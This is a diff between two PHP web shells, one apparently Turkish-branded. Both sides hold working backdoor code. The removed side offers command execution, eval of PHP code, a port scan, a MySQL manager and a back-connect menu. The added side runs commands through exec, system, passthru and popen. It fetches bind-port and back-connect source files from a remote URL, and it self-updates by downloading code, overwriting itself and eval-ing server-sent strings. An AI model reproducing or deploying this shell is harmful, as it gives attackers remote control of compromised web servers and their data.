566 | + | if (!function_exists("str2mini")) |
567 | ||
568 | - | if (page) { |
568 | + | { |
569 | ||
570 | - | $('settable').page.value=page; |
570 | + | function str2mini($content,$len) |
571 | ||
572 | - | } |
572 | + | { |
573 | ||
574 | - | $('settable').tablename.value=tablename; |
574 | + | if (strlen($content) > $len) |
575 | ||
576 | - | $('settable').submit(); |
576 | + | { |
577 | ||
578 | $len = ceil($len/2) - 2; | |
579 | ||
580 | - | function s(action,nowpath,p1,p2,p3,p4,p5) { |
580 | + | return substr($content, 0,$len)."...".substr($content,-$len); |
581 | ||
582 | - | if(action) $('opform').action.value=action; |
582 | + | } |
583 | ||
584 | - | if(nowpath) $('opform').nowpath.value=nowpath; |
584 | + | else {return $content;} |
585 | ||
586 | - | if(p1) $('opform').p1.value=p1; |
586 | + | |
587 | ||
588 | - | if(p2) $('opform').p2.value=p2; |
588 | + | |
589 | ||
590 | - | if(p3) $('opform').p3.value=p3; |
590 | + | if (!function_exists("view_size")) |
591 | ||
592 | - | if(p4) $('opform').p4.value=p4; |
592 | + | { |
593 | ||
594 | - | if(p5) $('opform').p4.value=p5; |
594 | + | function view_size($size) |
595 | ||
596 | { | |
597 | ||
598 | - | function g(action,nowpath,p1,p2,p3,p4,p5) { |
598 | + | if (!is_numeric($size)) {return false;} |
599 | ||
600 | - | if(!action) return; |
600 | + | else |
601 | ||
602 | - | s(action,nowpath,p1,p2,p3,p4,p5); |
602 | + | { |
603 | ||
604 | - | $('opform').submit(); |
604 | + | if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} |
605 | ||
606 | elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} | |
607 | ||
608 | - | </script> |
608 | + | elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} |
609 | ||
610 | - | </head> |
610 | + | else {$size = $size . " B";} |
611 | ||
612 | - | <body style="margin:0;table-layout:fixed; word-break:break-all"> |
612 | + | return $size; |
613 | ||
614 | } | |
615 | ||
616 | - | formhead(array('name'=>'opform')); |
616 | + | |
617 | ||
618 | - | makehide('action', $action); |
618 | + | |
619 | ||
620 | - | makehide('nowpath', $nowpath); |
620 | + | if (!function_exists("fs_copy_dir")) |
621 | ||
622 | - | makehide('p1', $p1); |
622 | + | { |
623 | ||
624 | - | makehide('p2', $p2); |
624 | + | function fs_copy_dir($d,$t) |
625 | ||
626 | - | makehide('p3', $p3); |
626 | + | { |
627 | ||
628 | - | makehide('p4', $p4); |
628 | + | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
629 | ||
630 | - | makehide('p5', $p5); |
630 | + | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
631 | ||
632 | - | formfoot(); |
632 | + | $h = opendir($d); |
633 | ||
634 | while (($o = readdir($h)) !== false) | |
635 | ||
636 | - | if(!function_exists('posix_getegid')) { |
636 | + | { |
637 | ||
638 | - | $user = @get_current_user(); |
638 | + | if (($o != ".") and ($o != "..")) |
639 | ||
640 | - | $uid = @getmyuid(); |
640 | + | { |
641 | ||
642 | - | $gid = @getmygid(); |
642 | + | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
643 | ||
644 | - | $group = "?"; |
644 | + | else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
645 | ||
646 | - | } else { |
646 | + | if (!$ret) {return $ret;} |
647 | ||
648 | - | $uid = @posix_getpwuid(@posix_geteuid()); |
648 | + | } |
649 | ||
650 | - | $gid = @posix_getgrgid(@posix_getegid()); |
650 | + | } |
651 | ||
652 | - | $user = $uid['name']; |
652 | + | closedir($h); |
653 | ||
654 | - | $uid = $uid['uid']; |
654 | + | return true; |
655 | ||
656 | - | $group = $gid['name']; |
656 | + | |
657 | ||
658 | - | $gid = $gid['gid']; |
658 | + | |
659 | ||
660 | if (!function_exists("fs_copy_obj")) | |
661 | ||
662 | { | |
663 | ||
664 | function fs_copy_obj($d,$t) | |
665 | ||
666 | - | <table width="100%" border="0" cellpadding="0" cellspacing="0"> |
666 | + | { |
667 | ||
668 | - | <tr class="head"> |
668 | + | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
669 | ||
670 | - | <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td> |
670 | + | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); |
671 | ||
672 | - | </tr> |
672 | + | if (!is_dir(dirname($t))) {mkdir(dirname($t));} |
673 | ||
674 | - | <tr class="alt1"> |
674 | + | if (is_dir($d)) |
675 | ||
676 | - | <td> |
676 | + | { |
677 | ||
678 | - | <span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg('safe_mode');?></span> |
678 | + | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
679 | ||
680 | - | <a href="javascript:g('logout');">Logout</a> | |
680 | + | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} |
681 | ||
682 | - | <a href="javascript:g('file');">File Manager</a> | |
682 | + | return fs_copy_dir($d,$t); |
683 | ||
684 | - | <a href="javascript:g('mysqladmin');">MYSQL Manager</a> | |
684 | + | } |
685 | ||
686 | - | <a href="javascript:g('sqlfile');">MySQL Upload & Download</a> | |
686 | + | elseif (is_file($d)) {return copy($d,$t);} |
687 | ||
688 | - | <a href="javascript:g('shell');">Execute Command</a> | |
688 | + | else {return false;} |
689 | ||
690 | - | <a href="javascript:g('phpenv');">PHP Variable</a> | |
690 | + | |
691 | ||
692 | - | <a href="javascript:g('portscan');">Port Scan</a> | |
692 | + | |
693 | ||
694 | - | <a href="javascript:g('secinfo');">Security information</a> | |
694 | + | if (!function_exists("fs_move_dir")) |
695 | ||
696 | - | <a href="javascript:g('eval');">Eval PHP Code</a> |
696 | + | { |
697 | ||
698 | - | <?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect');">Back Connect</a><?php }?> |
698 | + | function fs_move_dir($d,$t) |
699 | ||
700 | - | </td> |
700 | + | { |
701 | ||
702 | - | </tr> |
702 | + | $h = opendir($d); |
703 | ||
704 | if (!is_dir($t)) {mkdir($t);} | |
705 | ||
706 | - | <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td> |
706 | + | while (($o = readdir($h)) !== false) |
707 | ||
708 | { | |
709 | ||
710 | - | $errmsg && m($errmsg); |
710 | + | if (($o != ".") and ($o != "..")) |
711 | ||
712 | { | |
713 | ||
714 | - | // ?????? |
714 | + | $ret = true; |
715 | ||
716 | - | if (!$dir) { |
716 | + | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
717 | ||
718 | - | $dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : '.'; |
718 | + | else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} |
719 | ||
720 | if (!$ret) {return $ret;} | |
721 | ||
722 | - | $nowpath = getPath(SA_ROOT, $dir); |
722 | + | } |
723 | ||
724 | - | if (substr($dir, -1) != '/') { |
724 | + | } |
725 | ||
726 | - | $dir = $dir.'/'; |
726 | + | closedir($h); |
727 | ||
728 | return true; | |
729 | ||
730 | } | |
731 | ||
732 | - | if ($action == 'file') { |
732 | + | |
733 | ||
734 | if (!function_exists("fs_move_obj")) | |
735 | ||
736 | - | // ?????? |
736 | + | { |
737 | ||
738 | - | $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; |
738 | + | function fs_move_obj($d,$t) |
739 | ||
740 | { | |
741 | ||
742 | - | // ???? |
742 | + | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
743 | ||
744 | - | if ($newdirname) { |
744 | + | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); |
745 | ||
746 | - | $mkdirs = $nowpath.$newdirname; |
746 | + | if (is_dir($d)) |
747 | ||
748 | - | if (file_exists($mkdirs)) { |
748 | + | { |
749 | ||
750 | - | m('Directory has already existed'); |
750 | + | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
751 | ||
752 | - | } else { |
752 | + | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} |
753 | ||
754 | - | m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); |
754 | + | return fs_move_dir($d,$t); |
755 | ||
756 | - | @chmod($mkdirs,0777); |
756 | + | } |
757 | ||
758 | - | } |
758 | + | elseif (is_file($d)) |
759 | ||
760 | - | } |
760 | + | { |
761 | ||
762 | if(copy($d,$t)) {return unlink($d);} | |
763 | ||
764 | - | // ???? |
764 | + | else {unlink($t); return false;} |
765 | ||
766 | - | elseif ($doupfile) { |
766 | + | } |
767 | ||
768 | - | m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); |
768 | + | else {return false;} |
769 | ||
770 | - | } |
770 | + | |
771 | ||
772 | } | |
773 | ||
774 | - | // ???? |
774 | + | if (!function_exists("fs_rmdir")) |
775 | ||
776 | - | elseif ($editfilename && $filecontent) { |
776 | + | { |
777 | ||
778 | - | $fp = @fopen($editfilename,'w'); |
778 | + | function fs_rmdir($d) |
779 | ||
780 | - | m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); |
780 | + | { |
781 | ||
782 | - | @fclose($fp); |
782 | + | $h = opendir($d); |
783 | ||
784 | - | } |
784 | + | while (($o = readdir($h)) !== false) |
785 | ||
786 | { | |
787 | ||
788 | - | // ?????? |
788 | + | if (($o != ".") and ($o != "..")) |
789 | ||
790 | - | elseif ($pfile && $newperm) { |
790 | + | { |
791 | ||
792 | - | if (!file_exists($pfile)) { |
792 | + | if (!is_dir($d.$o)) {unlink($d.$o);} |
793 | ||
794 | - | m('The original file does not exist'); |
794 | + | else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} |
795 | ||
796 | - | } else { |
796 | + | } |
797 | ||
798 | - | $newperm = base_convert($newperm,8,10); |
798 | + | } |
799 | ||
800 | - | m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); |
800 | + | closedir($h); |
801 | ||
802 | - | } |
802 | + | rmdir($d); |
803 | ||
804 | - | } |
804 | + | return !is_dir($d); |
805 | ||
806 | } | |
807 | ||
808 | - | // ?? |
808 | + | |
809 | ||
810 | - | elseif ($oldname && $newfilename) { |
810 | + | if (!function_exists("fs_rmobj")) |
811 | ||
812 | - | $nname = $nowpath.$newfilename; |
812 | + | { |
813 | ||
814 | - | if (file_exists($nname) || !file_exists($oldname)) { |
814 | + | function fs_rmobj($o) |
815 | ||
816 | - | m($nname.' has already existed or original file does not exist'); |
816 | + | { |
817 | ||
818 | - | } else { |
818 | + | $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); |
819 | ||
820 | - | m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); |
820 | + | if (is_dir($o)) |
821 | ||
822 | - | } |
822 | + | { |
823 | ||
824 | - | } |
824 | + | if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} |
825 | ||
826 | return fs_rmdir($o); | |
827 | ||
828 | - | // ???? |
828 | + | } |
829 | ||
830 | - | elseif ($sname && $tofile) { |
830 | + | elseif (is_file($o)) {return unlink($o);} |
831 | ||
832 | - | if (file_exists($tofile) || !file_exists($sname)) { |
832 | + | else {return false;} |
833 | ||
834 | - | m('The goal file has already existed or original file does not exist'); |
834 | + | |
835 | ||
836 | - | } else { |
836 | + | |
837 | ||
838 | - | m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); |
838 | + | if (!function_exists("myshellexec")) |
839 | ||
840 | - | } |
840 | + | { |
841 | ||
842 | - | } |
842 | + | function myshellexec($cmd) |
843 | ||
844 | { | |
845 | ||
846 | - | // ???? |
846 | + | global $disablefunc; |
847 | ||
848 | - | elseif ($curfile && $tarfile) { |
848 | + | $result = ""; |
849 | ||
850 | - | if (!@file_exists($curfile) || !@file_exists($tarfile)) { |
850 | + | if (!empty($cmd)) |
851 | ||
852 | - | m('The goal file has already existed or original file does not exist'); |
852 | + | { |
853 | ||
854 | - | } else { |
854 | + | if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} |
855 | ||
856 | - | $time = @filemtime($tarfile); |
856 | + | elseif (($result = `$cmd`) !== false) {} |
857 | ||
858 | - | m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); |
858 | + | elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} |
859 | ||
860 | - | } |
860 | + | elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} |
861 | ||
862 | - | } |
862 | + | elseif (is_resource($fp = popen($cmd,"r"))) |
863 | ||
864 | { | |
865 | ||
866 | - | // ????? |
866 | + | $result = ""; |
867 | ||
868 | - | elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { |
868 | + | while(!feof($fp)) {$result .= fread($fp,1024);} |
869 | ||
870 | - | if (!@file_exists($curfile)) { |
870 | + | pclose($fp); |
871 | ||
872 | - | m(basename($curfile).' does not exist'); |
872 | + | } |
873 | ||
874 | - | } else { |
874 | + | } |
875 | ||
876 | - | $time = strtotime("$year-$month-$day $hour:$minute:$second"); |
876 | + | return $result; |
877 | ||
878 | - | m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); |
878 | + | |
879 | ||
880 | - | } |
880 | + | |
881 | ||
882 | - | } |
882 | + | if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} |
883 | ||
884 | if (!function_exists("view_perms")) | |
885 | ||
886 | - | // ?????? |
886 | + | { |
887 | ||
888 | - | elseif($doing == 'delfiles') { |
888 | + | function view_perms($mode) |
889 | ||
890 | - | if ($dl) { |
890 | + | { |
891 | ||
892 | - | $dfiles=''; |
892 | + | if (($mode & 0xC000) === 0xC000) {$type = "s";} |
893 | ||
894 | - | $succ = $fail = 0; |
894 | + | elseif (($mode & 0x4000) === 0x4000) {$type = "d";} |
895 | ||
896 | - | foreach ($dl as $filepath) { |
896 | + | elseif (($mode & 0xA000) === 0xA000) {$type = "l";} |
897 | ||
898 | - | if (is_dir($filepath)) { |
898 | + | elseif (($mode & 0x8000) === 0x8000) {$type = "-";} |
899 | ||
900 | - | if (@deltree($filepath)) { |
900 | + | elseif (($mode & 0x6000) === 0x6000) {$type = "b";} |
901 | ||
902 | - | $succ++; |
902 | + | elseif (($mode & 0x2000) === 0x2000) {$type = "c";} |
903 | ||
904 | - | } else { |
904 | + | elseif (($mode & 0x1000) === 0x1000) {$type = "p";} |
905 | ||
906 | - | $fail++; |
906 | + | else {$type = "?";} |
907 | ||
908 | - | } |
908 | + | |
909 | ||
910 | - | } else { |
910 | + | $owner["read"] = ($mode & 00400)?"r":"-"; |
911 | ||
912 | - | if (@unlink($filepath)) { |
912 | + | $owner["write"] = ($mode & 00200)?"w":"-"; |
913 | ||
914 | - | $succ++; |
914 | + | $owner["Uygulanamadi!"] = ($mode & 00100)?"x":"-"; |
915 | ||
916 | - | } else { |
916 | + | $group["read"] = ($mode & 00040)?"r":"-"; |
917 | ||
918 | - | $fail++; |
918 | + | $group["write"] = ($mode & 00020)?"w":"-"; |
919 | ||
920 | - | } |
920 | + | $group["Uygulanamadi!"] = ($mode & 00010)?"x":"-"; |
921 | ||
922 | - | } |
922 | + | $world["read"] = ($mode & 00004)?"r":"-"; |
923 | ||
924 | - | } |
924 | + | $world["write"] = ($mode & 00002)? "w":"-"; |
925 | ||
926 | - | m('Deleted folder/file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail); |
926 | + | $world["Uygulanamadi!"] = ($mode & 00001)?"x":"-"; |
927 | ||
928 | - | } else { |
928 | + | |
929 | ||
930 | - | m('Please select folder/file(s)'); |
930 | + | if ($mode & 0x800) {$owner["Uygulanamadi!"] = ($owner["Uygulanamadi!"] == "x")?"s":"S";} |
931 | ||
932 | - | } |
932 | + | if ($mode & 0x400) {$group["Uygulanamadi!"] = ($group["Uygulanamadi!"] == "x")?"s":"S";} |
933 | ||
934 | - | } |
934 | + | if ($mode & 0x200) {$world["Uygulanamadi!"] = ($world["Uygulanamadi!"] == "x")?"t":"T";} |
935 | ||
936 | ||
937 | ||
938 | - | //???? |
938 | + | return $type.join("",$owner).join("",$group).join("",$world); |
939 | ||
940 | - | formhead(array('name'=>'createdir')); |
940 | + | |
941 | ||
942 | - | makehide('newdirname'); |
942 | + | |
943 | ||
944 | - | makehide('dir',$nowpath); |
944 | + | if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}} |
945 | ||
946 | - | formfoot(); |
946 | + | if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}} |
947 | ||
948 | - | formhead(array('name'=>'fileperm')); |
948 | + | if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}} |
949 | ||
950 | - | makehide('newperm'); |
950 | + | if (!function_exists("parse_perms")) |
951 | ||
952 | - | makehide('pfile'); |
952 | + | { |
953 | ||
954 | - | makehide('dir',$nowpath); |
954 | + | function parse_perms($mode) |
955 | ||
956 | - | formfoot(); |
956 | + | { |
957 | ||
958 | - | formhead(array('name'=>'copyfile')); |
958 | + | if (($mode & 0xC000) === 0xC000) {$t = "s";} |
959 | ||
960 | - | makehide('sname'); |
960 | + | elseif (($mode & 0x4000) === 0x4000) {$t = "d";} |
961 | ||
962 | - | makehide('tofile'); |
962 | + | elseif (($mode & 0xA000) === 0xA000) {$t = "l";} |
963 | ||
964 | - | makehide('dir',$nowpath); |
964 | + | elseif (($mode & 0x8000) === 0x8000) {$t = "-";} |
965 | ||
966 | - | formfoot(); |
966 | + | elseif (($mode & 0x6000) === 0x6000) {$t = "b";} |
967 | ||
968 | - | formhead(array('name'=>'rename')); |
968 | + | elseif (($mode & 0x2000) === 0x2000) {$t = "c";} |
969 | ||
970 | - | makehide('oldname'); |
970 | + | elseif (($mode & 0x1000) === 0x1000) {$t = "p";} |
971 | ||
972 | - | makehide('newfilename'); |
972 | + | else {$t = "?";} |
973 | ||
974 | - | makehide('dir',$nowpath); |
974 | + | $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; |
975 | ||
976 | - | formfoot(); |
976 | + | $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; |
977 | ||
978 | - | formhead(array('name'=>'fileopform', 'target'=>'_blank')); |
978 | + | $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; |
979 | ||
980 | - | makehide('action'); |
980 | + | return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); |
981 | ||
982 | - | makehide('opfile'); |
982 | + | |
983 | ||
984 | - | makehide('dir'); |
984 | + | |
985 | ||
986 | - | formfoot(); |
986 | + | if (!function_exists("parsesort")) |
987 | ||
988 | - | formhead(array('name'=>'getsize')); |
988 | + | { |
989 | ||
990 | - | makehide('getdir'); |
990 | + | function parsesort($sort) |
991 | ||
992 | - | makehide('dir'); |
992 | + | { |
993 | ||
994 | - | formfoot(); |
994 | + | $one = intval($sort); |
995 | ||
996 | $second = substr($sort,-1); | |
997 | ||
998 | - | $free = @disk_free_space($nowpath); |
998 | + | if ($second != "d") {$second = "a";} |
999 | ||
1000 | - | !$free && $free = 0; |
1000 | + | return array($one,$second); |
1001 | ||
1002 | - | $all = @disk_total_space($nowpath); |
1002 | + | |
1003 | ||
1004 | - | !$all && $all = 0; |
1004 | + | |
1005 | ||
1006 | - | $used = $all-$free; |
1006 | + | if (!function_exists("view_perms_color")) |
1007 | ||
1008 | - | p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>'); |
1008 | + | { |
1009 | ||
1010 | function view_perms_color($o) | |
1011 | ||
1012 | - | $cwd_links = ''; |
1012 | + | { |
1013 | ||
1014 | - | $path = explode('/', $nowpath); |
1014 | + | if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} |
1015 | ||
1016 | - | $n=count($path); |
1016 | + | elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} |
1017 | ||
1018 | - | for($i=0;$i<$n-1;$i++) { |
1018 | + | else {return "<font color=green>".view_perms(fileperms($o))."</font>";} |
1019 | ||
1020 | - | $cwd_links .= '<a href="javascript:godir(\''; |
1020 | + | |
1021 | ||
1022 | - | for($j=0;$j<=$i;$j++) { |
1022 | + | |
1023 | ||
1024 | - | $cwd_links .= $path[$j].'/'; |
1024 | + | if (!function_exists("ashgetsource")) |
1025 | ||
1026 | - | } |
1026 | + | { |
1027 | ||
1028 | - | $cwd_links .= '\');">'.$path[$i].'/</a>'; |
1028 | + | function ashgetsource($fn) |
1029 | ||
1030 | - | } |
1030 | + | { |
1031 | ||
1032 | global $ashsh_sourcesurl; | |
1033 | ||
1034 | $array = array( | |
1035 | ||
1036 | - | <script type="text/javascript"> |
1036 | + | "ashsh_bindport.pl" => "ashsh_bindport_pl.txt", |
1037 | ||
1038 | - | document.onclick = shownav; |
1038 | + | "ashsh_bindport.c" => "ashsh_bindport_c.txt", |
1039 | ||
1040 | - | function shownav(e){ |
1040 | + | "ashsh_backconn.pl" => "ashsh_backconn_pl.txt", |
1041 | ||
1042 | - | var src = e?e.target:event.srcElement; |
1042 | + | "ashsh_backconn.c" => "ashsh_backconn_c.txt", |
1043 | ||
1044 | - | do{ |
1044 | + | "ashsh_datapipe.pl" => "ashsh_datapipe_pl.txt", |
1045 | ||
1046 | - | if(src.id =="jumpto") { |
1046 | + | "ashsh_datapipe.c" => "ashsh_datapipe_c.txt", |
1047 | ||
1048 | - | $('inputnav').style.display = ""; |
1048 | + | ); |
1049 | ||
1050 | - | $('pathnav').style.display = "none"; |
1050 | + | $name = $array[$fn]; |
1051 | ||
1052 | - | //hidenav(); |
1052 | + | if ($name) {return file_get_contents($ashsh_sourcesurl.$name);} |
1053 | ||
1054 | - | return; |
1054 | + | else {return false;} |
1055 | ||
1056 | - | } |
1056 | + | |
1057 | ||
1058 | - | if(src.id =="inputnav") { |
1058 | + | |
1059 | ||
1060 | - | return; |
1060 | + | if (!function_exists("ashsh_getupdate")) |
1061 | ||
1062 | - | } |
1062 | + | { |
1063 | ||
1064 | - | src = src.parentNode; |
1064 | + | function ashsh_getupdate($update = true) |
1065 | ||
1066 | - | }while(src.parentNode) |
1066 | + | { |
1067 | ||
1068 | $url = $GLOBALS["ashsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; | |
1069 | ||
1070 | - | $('inputnav').style.display = "none"; |
1070 | + | $data = @file_get_contents($url); |
1071 | ||
1072 | - | $('pathnav').style.display = ""; |
1072 | + | if (!$data) {return "Server guncellestirme baglanamadi!";} |
1073 | ||
1074 | else | |
1075 | ||
1076 | - | </script> |
1076 | + | { |
1077 | ||
1078 | - | <div style="background:#eee;margin-bottom:10px;"> |
1078 | + | $data = ltrim($data); |
1079 | ||
1080 | - | <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0"> |
1080 | + | $string = substr($data,3,ord($data{2})); |
1081 | ||
1082 | - | <tr> |
1082 | + | if ($data{0} == "\x99" and $data{1} == "\x01") {return "Hatta: ".$string; return false;} |
1083 | ||
1084 | - | <td width="100%"><?php echo $cwd_links.' - '.getChmod($nowpath).' / '.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td> |
1084 | + | if ($data{0} == "\x99" and $data{1} == "\x02") {return "En son guncellestirmeyi kullaniyosun!";} |
1085 | ||
1086 | - | <td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td> |
1086 | + | if ($data{0} == "\x99" and $data{1} == "\x03") |
1087 | ||
1088 | - | </tr> |
1088 | + | { |
1089 | ||
1090 | - | </table> |
1090 | + | $string = explode("\x01",$string); |
1091 | ||
1092 | - | <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;"> |
1092 | + | if ($update) |
1093 | ||
1094 | - | <form action="" method="post" id="godir" name="godir"> |
1094 | + | { |
1095 | ||
1096 | - | <tr> |
1096 | + | $confvars = array(); |
1097 | ||
1098 | - | <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td> |
1098 | + | $sourceurl = $string[0]; |
1099 | ||
1100 | - | <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td> |
1100 | + | $source = file_get_contents($sourceurl); |
1101 | ||
1102 | - | <td nowrap><input class="bt" value="GO" type="submit"></td> |
1102 | + | if (!$source) {return "Can't fetch update!";} |
1103 | ||
1104 | - | </tr> |
1104 | + | else |
1105 | ||
1106 | - | </form> |
1106 | + | { |
1107 | ||
1108 | - | </table> |
1108 | + | $fp = fopen(__FILE__,"w"); |
1109 | ||
1110 | if (!$fp) {return "Yerel Hata: Guncelestirme yazilamadi".__FILE__."! Sen Spyhackerz.com girip birseyler grenebilirsin. <a href=\"".$sourceurl."\"><u>here</u></a>.";} | |
1111 | ||
1112 | - | if (IS_WIN && IS_COM) { |
1112 | + | else {fwrite($fp,$source); fclose($fp); return "Tesekkurler Guncellendi!";} |
1113 | ||
1114 | - | $obj = new COM('scripting.filesystemobject'); |
1114 | + | |
1115 | ||
1116 | - | if ($obj && is_object($obj) && $obj->Drives) { |
1116 | + | } |
1117 | ||
1118 | - | echo '<div class="drives">'; |
1118 | + | else {return "Yeni Versiyon bulundu: ".$string[1];} |
1119 | ||
1120 | - | $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); |
1120 | + | } |
1121 | ||
1122 | - | $comma = ''; |
1122 | + | elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} |
1123 | ||
1124 | - | foreach($obj->Drives as $drive) { |
1124 | + | else {return "protocol hata: bolum engellendi! (".$data.") ";} |
1125 | ||
1126 | - | if ($drive->Path) { |
1126 | + | } |
1127 | ||
1128 | - | p($comma.'<a href="javascript:godir(\''.$drive->Path.'/\');">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>'); |
1128 | + | |
1129 | ||
1130 | - | $comma = '<span>|</span>'; |
1130 | + | |
1131 | ||
1132 | - | } |
1132 | + | if (!function_exists("mysql_dump")) |
1133 | ||
1134 | - | } |
1134 | + | { |
1135 | ||
1136 | - | echo '</div>'; |
1136 | + | function mysql_dump($set) |
1137 | ||
1138 | - | } |
1138 | + | { |
1139 | ||
1140 | - | } |
1140 | + | global $shver; |
1141 | ||
1142 | $sock = $set["sock"]; | |
1143 | ||
1144 | - | </div> |
1144 | + | $db = $set["db"]; |
1145 | ||
1146 | $print = $set["print"]; | |
1147 | ||
1148 | - | $findstr = $_POST['findstr']; |
1148 | + | $nl2br = $set["nl2br"]; |
1149 | ||
1150 | - | $re = $_POST['re']; |
1150 | + | $file = $set["file"]; |
1151 | ||
1152 | - | tbhead(); |
1152 | + | $add_drop = $set["add_drop"]; |
1153 | ||
1154 | - | p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">'); |
1154 | + | $tabs = $set["tabs"]; |
1155 | ||
1156 | - | p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$nowpath.'" type="hidden" /><input name="dir" value="'.$nowpath.'" type="hidden" /></div></form>'); |
1156 | + | $onlytabs = $set["onlytabs"]; |
1157 | ||
1158 | - | p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>'); |
1158 | + | $ret = array(); |
1159 | ||
1160 | - | p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>'); |
1160 | + | $ret["err"] = array(); |
1161 | ||
1162 | - | p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>'); |
1162 | + | if (!is_resource($sock)) {echo("Hata: \$sock Dogrulamadi");} |
1163 | ||
1164 | - | p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>'); |
1164 | + | if (empty($db)) {$db = "db";} |
1165 | ||
1166 | - | p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )'); |
1166 | + | if (empty($print)) {$print = 0;} |
1167 | ||
